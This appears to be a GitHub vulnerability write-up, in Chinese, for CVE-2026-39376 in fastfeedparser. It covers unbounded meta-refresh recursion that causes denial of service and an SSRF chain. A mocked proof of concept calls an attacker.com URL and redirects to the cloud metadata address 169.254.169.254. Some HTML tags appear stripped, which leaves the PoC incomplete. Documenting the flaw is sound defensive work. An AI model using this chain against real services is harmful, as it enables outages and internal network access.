redyank/CVE-2026-39376

GitHub: redyank/CVE-2026-39376

这是一个针对 fastfeedparser 库中 CVE-2026-39376 漏洞的详细分析与验证工具,展示了如何利用 meta-refresh 链造成无限重定向循环 DoS 及 SSRF。

Stars: 0 | Forks: 0

# CVE-2026-39376 CVE-2026-39376(通过 meta-refresh 链造成的无限重定向循环 DoS) ### 概述 当 `parse()` 获取到一个包含 `` 标签的 HTML 页面时,它会使用重定向 URL 递归调用自身——没有深度限制,没有访问过 URL 的去重,也没有重定向计数上限。返回无限 HTML meta-refresh 响应链的攻击者控制的服务器会导致无界递归,耗尽 Python 调用栈并使进程崩溃。此漏洞还可以与配套的 SSRF 问题结合,绕过初始 URL 检查后访问内部网络目标。 ### 详情 `parse()` 在 XML 解析失败时捕获 `ValueError`,通过 `_extract_meta_refresh_url()` 从 HTML 响应中提取 meta-refresh URL,并使用该 URL 尾递归调用自身。递归调用是无条件的——没有最大重定向深度,没有已访问 URL 的集合,也没有针对自引用或循环重定向的保护。 **`fastfeedparser/main.py` — `parse()`(递归汇点):** ``` def parse(source: str | bytes, ...) -> FastFeedParserDict: is_url = isinstance(source, str) and source.startswith(("http://", "https://")) if is_url: content = _fetch_url_content(source) try: return _parse_content(content, ...) except ValueError as e: ... redirect_url = _extract_meta_refresh_url(content, source) if redirect_url is None: raise return parse(redirect_url, ...) # ← unconditional recursion, no depth limit ``` `_extract_meta_refresh_url()` 使用 `urljoin(base_url, match.group(1))`,因此会跟随 `content=` 属性中的相对 URL、协议相对 URL(`//host/path`)以及绝对 URL。 ### 概念验证 不需要实时服务器。下面的 monkeypatch `_fetch_url_content` 返回无限的 HTML meta-refresh 链,并确认存在无界递归: ``` import fastfeedparser.main as m call_count = 0 _orig = m._fetch_url_content def mock_fetch(url): global call_count call_count += 1 if call_count > 10: raise RuntimeError(f"Stopped at call {call_count}") next_url = f"http://169.254.169.254/step{call_count}/" return f""" not a feed""".encode() m._fetch_url_content = mock_fetch try: m.parse("http://attacker.com/loop") except RuntimeError as e: print(f"CONFIRMED infinite loop: {e}") finally: m._fetch_url_content = _orig print(f"Total fetches before stop: {call_count}") # 输出: # 已确认无限循环:在调用 11 处停止 # 停止前总共获取:11 ``` 每次递归调用都会执行一次真实的 HTTP 请求(30 秒超时)、HTML 解析以及 Python 栈帧分配。在 Python 默认递归限制为 1000 且每个请求超时 30 秒的情况下,单个攻击者请求在引发 `RecursionError` 之前可以占用服务器线程长达约 8 小时。 **SSRF 链变体:** 第一个响应可以是重定向到内部地址(`http://192.168.1.1/`)的合法 HTML,从而让重定向循环也作为 SSRF 绕过手段,用于访问那些仅通过应用于初始 URL 的应用级 URL 验证才会被阻止的目标。 ### 影响 这是一个拒绝服务漏洞,并具有次级 SSRF 链式影响。任何接受用户提供 feed URL 并调用 `fastfeedparser.parse()` 的应用程序都会受到影响——包括 RSS 聚合器、feed 预览服务和“通过 URL 订阅”功能。未经身份验证的攻击者可以: - 无限期占用服务器工作线程(每个攻击者连接对应一个请求) - 在约 1000 次重定向后通过 `RecursionError` 使工作进程崩溃 - 利用重定向链将 SSRF 请求转向内部网络目标
标签:CVE, CVE-2026-39376, DoS, HTML, meta-refresh, Python, SSRF, URL解析, Web安全, 安全漏洞, 拒绝服务, 数字签名, 无后门, 无限递归, 服务端请求伪造, 栈溢出, 漏洞分析, 网络安全, 蓝队分析, 资源耗尽, 路径探测, 逆向工具, 递归, 重定向循环, 隐私保护